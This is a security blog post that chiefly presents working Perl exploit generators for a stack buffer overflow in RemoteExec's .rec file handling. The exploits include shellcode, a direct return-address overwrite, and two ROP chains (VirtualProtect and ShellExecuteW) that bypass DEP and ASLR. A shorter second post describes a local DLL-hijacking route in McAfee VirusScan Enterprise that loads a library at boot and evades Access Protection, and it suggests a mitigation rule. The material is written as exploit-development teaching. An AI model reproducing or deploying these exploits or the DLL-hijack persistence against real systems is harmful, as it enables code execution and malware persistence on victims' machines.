In this post I’ll be writing about a ROP (Return Object Programming) exploit that I had recently developed for a vulnerability I had discovered in an application called “RemoteExec”. The vulnerability is caused when opening a .rec file containing an overly long line triggering a stack-based buffer overflow. It was first published in March 2010 reported in version 4.04 and fixed in version 4.05. Since then a number of later versions have been released. This exploit is being released for educational purposes only.

For this vulnerability the offsets are

[BUFFER x 3072 bytes] + [RET] + [5224 bytes] + [NSEH] + [SEH] + [BUFFER]

In this exploit I will be taking control via the return address. The exploit below needs no explanation as this should work on any Windows operating system not supporting hardware DEP (data execution prevention). The return address in this case points to instruction ‘push esp # ret’ taken from the RemoteExec.exe executable.

my $file = "exp_calcshell.rec";
my $junk1 = "\x41" x 3072;
my $junk2 = "\x42" x 4;
#
# 0x00432360 : push esp # ret | startnull,asciiprint,ascii
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.0.4.0
#
my $eip = pack ('V',0x00432360);
#
# ruby msfpayload windows/exec CMD=calc exitfunc=process R
# | ruby msfencode -e x86/call4_dword_xor
#   -b '\x09\x0a\x0b\x0c\x0d\x1a\x20' -t perl
# [*] x86/call4_dword_xor succeeded with size 220 (iteration=1)
#
my $shellcode =
"\x31\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" .
"\x0e\x95\x23\xb1\x46\x83\xee\xfc\xe2\xf4\x69\xcb\x38\x46" .
"\x95\x23\xd1\xcf\x70\x12\x63\x22\x1e\x71\x81\xcd\xc7\x2f" .
"\x3a\x14\x81\xa8\xc3\x6e\x9a\x94\xfb\x60\xa4\xdc\x80\x86" .
"\x39\x1f\xd0\x3a\x97\x0f\x91\x87\x5a\x2e\xb0\x81\x77\xd3" .
"\xe3\x11\x1e\x71\xa1\xcd\xd7\x1f\xb0\x96\x1e\x63\xc9\xc3" .
"\x55\x57\xfb\x47\x45\x73\x3a\x0e\x8d\xa8\xe9\x66\x94\xf0" .
"\x52\x7a\xdc\xa8\x85\xcd\x94\xf5\x80\xb9\xa4\xe3\x1d\x87" .
"\x5a\x2e\xb0\x81\xad\xc3\xc4\xb2\x96\x5e\x49\x7d\xe8\x07" .
"\xc4\xa4\xcd\xa8\xe9\x62\x94\xf0\xd7\xcd\x99\x68\x3a\x1e" .
"\x89\x22\x62\xcd\x91\xa8\xb0\x96\x1c\x67\x95\x62\xce\x78" .
"\xd0\x1f\xcf\x72\x4e\xa6\xcd\x7c\xeb\xcd\x87\xc8\x37\x1b" .
"\xff\x22\x3c\xc3\x2c\x23\xb1\x46\xc5\x4b\x80\xcd\xfa\xa4" .
"\x4e\x93\x2e\xd3\x04\xe4\xc3\x4b\x17\xd3\x28\xbe\x4e\x93" .
"\xa9\x25\xcd\x4c\x15\xd8\x51\x33\x90\x98\xf6\x55\xe7\x4c" .
"\xdb\x46\xc6\xdc\x64\x25\xf4\x4f\xd2\x46";
my $payload = $junk1 . $eip . $junk2 . $shellcode;
print "Payload size : " . length($payload) . "\n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "REC File $file Created successfully\n";

 

To run this exploit on a Windows 7 OS which has ASLR and supports hardware DEP would still work as the return address is taken from the binary itself (RemoteExec.exe) which is not compiled to use ALSR and DEP. Also by default Windows 7 DEP mode is set to “Optin” which means it only protects essential Windows programs and services.

If DEP was set for “OptOut” or “AlwaysOn” then this exploit would fail. So this is our challenge in building a reliable ROP exploit by

1. Calling an API to disable DEP or make our stack code executable
2. Using all instructions from RemoteExec.exe i.e. ROP gadgets as this binary does not support ASLR.

Using VirtualProtect API

For this exploit I will be using the VirtualProtect API to change the access protection of memory in the calling process and use the PUSHAD technique to push our register values in the stack before calling our API. Our registers will need to contain values required for the VirtualProtect parameters.

EDI – ROP NOP (RETN)
ESI – ptr to VirtualProtect()
EBP – ReturnTo (ptr to jmp esp)
ESP – lPAddress (automatic)
EBX – Size
EDX – NewProtect (0×40)
ECX – lpOldProtect (Writable ptr)
EAX – NOP (0×90909090)

The values we can place in our registers using ROP gadgets outputted from mona.py script. To call VirtualProtect I was hoping to find a pointer in the IAT (Imported address table) which I viewed using IDA Pro Free but unfortunately was unsuccessful.

If I did find a pointer then I would have been able to use this pointer to VirtualProtect as pointers in IAT would be static and would not change. Using the VirtualProtect pointer address from Windows 7 kernel32.dll library would be pretty useless as in the next OS reboot the address would change due to Windows libraries compiled to use ASLR.

Fortunately looking down the near the bottom of our process stack after setting a breakpoint on our return to stack return address we see a pointer to an address in Kernel32.dll. What we need to do now is to go all the way down using ROP gadgets and copy this pointer value, do some calculations to obtain our VirtualProtect address.

In the exploit below I have laid it out on the order how PUSHAD pushes the registers onto the stack. The register value of interest would be ESI which after its ROP chain will end up containing a pointer to VirtualProtect.

my $file  = "exp_calcvirtualprotectdeprop.rec";
my $junk1 = "\x41" x 3072;
my $junk2 = "\x42" x 4;                # compensate 4 bytes
my $nops  = "\x90" x 30;
my $eip   = pack('V',0x00469038);      # RETN - return to stack
#
# EDI -> RETN
#
my $rop=pack('V',0x00478102);          # POP EDI (ROP NOP)
$rop .= pack('V',0x00469038);          # RETN
#
# ESI -> VirtualProtect()
#
#  Copy ESI to EAX
#
$rop .= pack('V',0x0047b6fd);          # ADD EAX,ESI # POP ESI # RETN
$rop .= pack('V',0x00469038);          # RETN - Compensate
#
#  EAX value is 0x0012EA70. Has to be 0x0012FF8C which is our kernel32
#  pointer. We need to add 0x151C or 5404 bytes to get to our pointer.
#  This value needs to be checked that it doesnt change after boot. This
#  distance is the same after reboots both for Windows 7 and XP.
#
#  0012FF8C |77121114 RETURN to kernel32.77121114
#  address 0x77121114 will change at next bootup
#
#  The below chain will keep adding to EAX to end pointing to 0x0012FF8C
#
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
$rop .= pack('V',0x00479eec);          # ADD EAX,100 # POP EBP # RETN
$rop .= pack('V',0x41414141);          # Compensate
#
#  Need to add 28 bytes more to get 5404 bytes
#
$rop .= pack('V',0x004481c4) x 2;      # ADD EAX,0C # RETN
$rop .= pack('V',0x00474b27) x 4;      # INC EAX # RETN
#
#  Now we take the pointer at 0x0012FF8C and copy to EAX
#
$rop .= pack('V',0x00466de3);        # MOV EAX,DWORD PTR DS:[EAX] # RETN 
#
#  EAX now contains pointer to kernel32.dll 0x77121114 and need to
#  substract 0xC049 or 49225 bytes to point to VirtualProtect in this
#  boot as the address of VirtualProtect is 0x771150cb in this instance.
#  0x77121114 - 0x771150cb = 0xC049 (49225 bytes)
#  Place 0xC049 in ECX
#
$rop .= pack('V',0x0046c000);          # POP ECX # RETN
$rop .= pack('V',0x0000C049);          # 0xC049
#
#  Subtracting
#
$rop .= pack('V',0x00469c24);          # SUB EAX,ECX # RETN
#
#  Placing VirtualProtect pointer in ESI
#
$rop .= pack('V',0x00459d14);          # PUSH EAX # POP ESI # RETN 04
#
# EBP -> ReturnTo
#
$rop .= pack('V',0x0046b803);          # POP EBP # RETN
$rop .= pack('V',0x41414141);          # junk, compensate
$rop .= pack('V',0x00432360);          # ptr to 'push esp # ret'
#
# EBX -> Size
#
$rop .= pack('V',0x0041a80e);          # POP EBX # RETN
$rop .= pack('V',0x000001f4);          # Size mark as executable 500
#
# EDX -> NewProtect (0x40)
#
$rop .= pack('V',0x00469787);          # POP EDX # RETN
$rop .= pack('V',0x00000040);          # newProtect (0x40)
#
# ECX -> lpOldProtect (Writable ptr)
#
$rop .= pack('V',0x0046c000);          # POP ECX # RETN
$rop .= pack('V',0x0048d000);          # RW pointer (lpOldProtect)
#
# EAX -> NOP (0x90909090)
#
$rop .= pack('V',0x0046d241);          # POP EAX # RETN
$rop .= pack('V',0x90909090);          # NOPS
#
# PUSHAD
#
$rop .= pack('V',0x00478b8c);          # PUSHAD # RETN
#
# ruby msfpayload windows/exec CMD=calc exitfunc=process R
# | ruby msfencode -e x86/call4_dword_xor
#  -b '\x09\x0a\x0b\x0c\x0d\x1a\x20' -t perl
# [*] x86/call4_dword_xor succeeded with size 220 (iteration=1)
#
my $shellcode =
"\x31\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" .
"\x0e\x95\x23\xb1\x46\x83\xee\xfc\xe2\xf4\x69\xcb\x38\x46" .
"\x95\x23\xd1\xcf\x70\x12\x63\x22\x1e\x71\x81\xcd\xc7\x2f" .
"\x3a\x14\x81\xa8\xc3\x6e\x9a\x94\xfb\x60\xa4\xdc\x80\x86" .
"\x39\x1f\xd0\x3a\x97\x0f\x91\x87\x5a\x2e\xb0\x81\x77\xd3" .
"\xe3\x11\x1e\x71\xa1\xcd\xd7\x1f\xb0\x96\x1e\x63\xc9\xc3" .
"\x55\x57\xfb\x47\x45\x73\x3a\x0e\x8d\xa8\xe9\x66\x94\xf0" .
"\x52\x7a\xdc\xa8\x85\xcd\x94\xf5\x80\xb9\xa4\xe3\x1d\x87" .
"\x5a\x2e\xb0\x81\xad\xc3\xc4\xb2\x96\x5e\x49\x7d\xe8\x07" .
"\xc4\xa4\xcd\xa8\xe9\x62\x94\xf0\xd7\xcd\x99\x68\x3a\x1e" .
"\x89\x22\x62\xcd\x91\xa8\xb0\x96\x1c\x67\x95\x62\xce\x78" .
"\xd0\x1f\xcf\x72\x4e\xa6\xcd\x7c\xeb\xcd\x87\xc8\x37\x1b" .
"\xff\x22\x3c\xc3\x2c\x23\xb1\x46\xc5\x4b\x80\xcd\xfa\xa4" .
"\x4e\x93\x2e\xd3\x04\xe4\xc3\x4b\x17\xd3\x28\xbe\x4e\x93" .
"\xa9\x25\xcd\x4c\x15\xd8\x51\x33\x90\x98\xf6\x55\xe7\x4c" .
"\xdb\x46\xc6\xdc\x64\x25\xf4\x4f\xd2\x46";
my $payload = $junk1 . $eip . $junk2 . $rop . $nops . $shellcode;
print "Payload size : " . length($payload) . "\n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "REC File $file Created successfully\n";

 

If we were to run this exploit in Windows XP even though these steps are not required as XP doesn’t support ASLR the distance to our kernel pointer would be the same (5404 bytes) but our distance to VirtualProtect pointer from our kernel pointer would be different so the exploit would fail. For Windows 7 we need to subtract 0xC049 whereas in Windows XP would be 0x155A3.

You might be wondering where did I get this magic value of 0xC049? Well even though our kernel pointer and VirtualProtect API values change every time at boot, subtracting them the sum would always be the same.

Below is a table of addresses at each boot

Stack address Kernel pointer VirtualProtect Magic value
0012FF8C 76E01114 76df50cb C049 (49225 bytes)
0012FF8C 76631114 766250cb C049 (49225 bytes)
0012FF8C 768E1114 768d50cb C049 (49225 bytes)
0012FF8C 77121114 771150cb C049 (49225 bytes)

 

Using ShellExecuteW API

What if we cannot obtain our kernel pointer from the stack? Well we can check all the pointers to API’s in the IAT and see what we can use. One API that stood out for me was ShellExecuteW. This is perfect to use for our code execution.

This API uses 6 parameters and again we can use the PUSHAD technique to push most of the parameter values in the stack. If coding in C you would write something like this:

ShellExecuteW(NULL, L"open", L"calc.exe", NULL, NULL, SW_SHOWNORMAL);

 

Checking the ShellExecuteW API we can see that most of the parameters can be set to NULL thus writing our ROP exploit that much easier.

HINSTANCE ShellExecute(
__in_opt HWND hwnd,
__in_opt LPCTSTR lpOperation,
__in LPCTSTR lpFile,
__in_opt LPCTSTR lpParameters,
__in_opt LPCTSTR lpDirectory,
__in INT nShowCmd
);

 

So when pushing the values in the stack using PUSHAD the only pointers we need to work on are ECX and EAX. ECX will need to point to cmd and EAX to our chained commands. The strings i.e. cmd and our chained commands has to be in unicode as the API we are calling supports unicode only.

EDI – ROP NOP (RETN)
ESI – ROP NOP (RETN)
EBP – ptr to ShellExecuteW()
ESP – top of stack
EBX – hWnd = NULL
EDX – Operation = NULL
ECX – FileName = “cmd”
EAX – Parameters = “////////////////ccalc.exe&calc.exe

DefDir = NULL
IsShown = 0

my $file = "exp_calcshellexecuterop.rec";
my $junk1 = "\x41" x 3072;
my $junk2 = "\x42" x 4;               # compensate 4 bytes
my $eip = pack('V',0x00469038);       # RETN - return to stack
#
# ESP -> ECX (save esp in ecx for later use)
#
my $rop=pack('V',0x0047b6fd);         # ADD EAX,ESI # POP ESI # RETN
$rop .= pack('V',0x00469038);         # RETN - Compensate
$rop .= pack('V',0x00462a47);       # PUSH ESP # ADD BYTE PTR DS:[EAX],AL
#                                     POP ECX # RETN
#
# EDI -> RETN
#
$rop .= pack('V',0x00478102);         # POP EDI (ROP NOP)
$rop .= pack('V',0x00469038);         # RETN
#
# ESI -> RETN
#
$rop .= pack('V',0x0042807d);         # POP ESI (ROP NOP)
$rop .= pack('V',0x00469038);         # RETN
#
# EBP -> ShellExecuteW()
#
$rop .= pack('V',0x0046d241);         # POP EAX # RETN
$rop .= pack('V',0x00481380);         # IAT Pointer to ShellExecuteW()
$rop .= pack('V',0x00466de3);         # MOV EAX,DWORD PTR DS:[EAX] # RETN
$rop .= pack('V',0x0046f2bb);    # XCHG EAX,EBP # ADD EAX,B70F0000 # RETN
#
# EBX -> 00000000 -> hWnd = NULL
#
$rop .= pack('V',0x0047804f);         # POP EBX # RETN
$rop .= pack('V',0xFFFFFFFF);         # <- will be put in EBX
$rop .= pack('V',0x00466cc5);         # INC EBX # XOR EAX,EAX # RETN
#
# EDX -> 00000000 -> Operation = NULL
#
$rop .= pack('V',0x00468d8c);         # XOR EDX,EDX # RETN 
#
# ECX -> ptr to filename which is cmd
#
$rop .= pack('V',0x0045b660);         # MOV EAX,ECX # RETN
$rop .= pack('V',0x0046852b);         # INC EAX # ADD AL,50 # RETN
$rop .= pack('V',0x00455e49) x 14;    # INC EAX # RETN
$rop .= pack('V',0x0046852b);         # INC EAX # ADD AL,50 # RETN
$rop .= pack('V',0x0042df81);   # PUSH EAX # ADD AL,5B # POP ECX #RETN 08
$rop .= pack('V',0x00469038) x 3;     # RETN - Compensate
#
# EAX -> ptr to parameters
#
$rop .= pack('V',0x0045b660);         # MOV EAX,ECX # RETN
$rop .= pack('V',0x004481c4);         # ADD EAX,0C # RETN
#
# PUSHAD
#
$rop .= pack('V',0x00478b8c);         # PUSHAD # RETN
#
# Remaining arguments
#
my $args=pack('V',0x00000000);        # DefDir = NULL
$args .= pack('V',0x00000000);        # IsShown = 0
my $padding = "\x43" x 24;
#
# cmd in unicode
#
my $cmd =
"\x63\x00\x6d\x00\x64\x00\x00\x00";
#
# / in unicode
#
my $nops =
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00".
"\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00\x2f\x00";
#
# /ccalc.exe&calc.exe in unicode
#
my $parameters =
"\x2f\x00\x63\x00\x63\x00\x61\x00\x6c\x00\x63\x00\x2e\x00".
"\x65\x00\x78\x00\x65\x00\x26\x00\x63\x00\x61\x00\x6c\x00\x63\x00".
"\x2e\x00\x65\x00\x78\x00\x65\x00";
#
my $pay = $junk1.$eip.$junk2.$rop.$args.$padding.$cmd.$nops.$parameters;
print "Payload size : " . length($pay) . "\n";
open($FILE,">$file");
print $FILE $pay;
close($FILE);
print "REC File $file Created successfully\n";

 

So our API parameters would look like this below where here we are executing two calculators.

ShellExecuteW(NULL, NULL, L"cmd", L"/ccalc.exe&calc.exe", NULL, 0);

 

The interesting thing in this case is that the offset to “Parameters” parameter is not always precise for Windows XP and Windows 7 so I have used forward slashes which acts as nops so it would look something like this below making it work for both operating systems.

ShellExecuteW(NULL, NULL, L"cmd", L"//////ccalc.exe&calc.exe", NULL, 0);

 

I would like to thank to Peter Van Eeckhoutte’s superb tutorial “Chaining DEP with ROP – the Rubik’s[TM] Cube” and the Corelan team for the mona.py script. Without these two materials learning ROP exploitation would have been a lot harder. I recommend reading this tutorial as it explains the theory behind ROP and other techniques that can be used to exploit.

Finally when starting to write an exploit always remove any bad characters before anything else as it will save time in the long run. In this exploit the bad characters were ‘\x09\x0a\x0b\x0c\x0d\x1a\x20′ which cannot be used at all in our REC file. If we were only trying to exploit in Windows XP then just calling the VirtualProtect API address would normally work which is 0x7c801ad4 but as you can see in this case it contains 0x1a which would break the exploit. One way to get round this is to place a value not containing 0x1a and do ADD/SUB ROP gadgets to get to VirtualProtect.

References:

http://secunia.com/advisories/38733/
http://blog.isdecisions.com/post/452928936/security-update-for-remoteexec
http://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(v=vs.85).aspx
https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/

2011
08.14

Last year I had discovered an insecure library loading (DLL hijacking) vulnerability in McAfee VirusScan Enterprise. The vulnerability was triggered when a Microsoft Office file with an embedded ActiveX control was opened loading the library “traceapp.dll” in its current working directory which can be on a remote WebDAV or SMB share. The vulnerability was reported in version 8.5.0i and fixed in later versions.

Even though the vulnerability has been fixed it still suffers from a DLL hijacking vulnerability on the local machine. In order for this vulnerability to be exploited you will need to have access to the machine to begin with so this cannot be exploited remotely. As such its not a security risk as if you have access to the machine you can pretty much do anything anyway.

Now in McAfee VirusScan Enterprise there is a cool feature called “Access Protection”. With this feature we can disable most autostart entry points which malware use to load up. Stopping malware from loading up is a key mitigating feature as a simple reboot would resolve most infections. Some of the features McAfee’s Access Protection protects us from are:

Prevent programs registering to Autorun
Prevent programs registering as a service
Prevent installation of Browser Helper Objects and Shell Extensions

 

When all of the features in Access Protection are enabled it would prevent the machine reasonably well from infection so chances of malware autostarting are low. But due to this DLL hijacking vulnerability there is now another way of loading malware bypassing all these preventive actions.

If the library traceapp.dll has been placed in “C:\Document and Settings\user\” folder (where user is the username) then this library will autostart at bootup when McAfee VirusScan’s executables are loaded. Processes that load traceapp.dll from this location are McTray.exe, shstat.exe and UdaterUI.exe. To mitigate from this vulnerability we need to create a new rule to prevent traceapp.dll from auto starting from our user profile location.

During tests unfortunately even with the rule in place with the preventive action “Files being executed” the library still loads up as it seems the rules are only effective later in the boot process. So best action would be to enable the preventive action “New files being created”. This way the traceapp.dll can never be created in our user profile location to begin with after an infection if some malware did try to exploit this vulnerability.

This insecure library loading vulnerability effects upto the latest version 8.8.

Reference:

http://secunia.com/advisories/41482/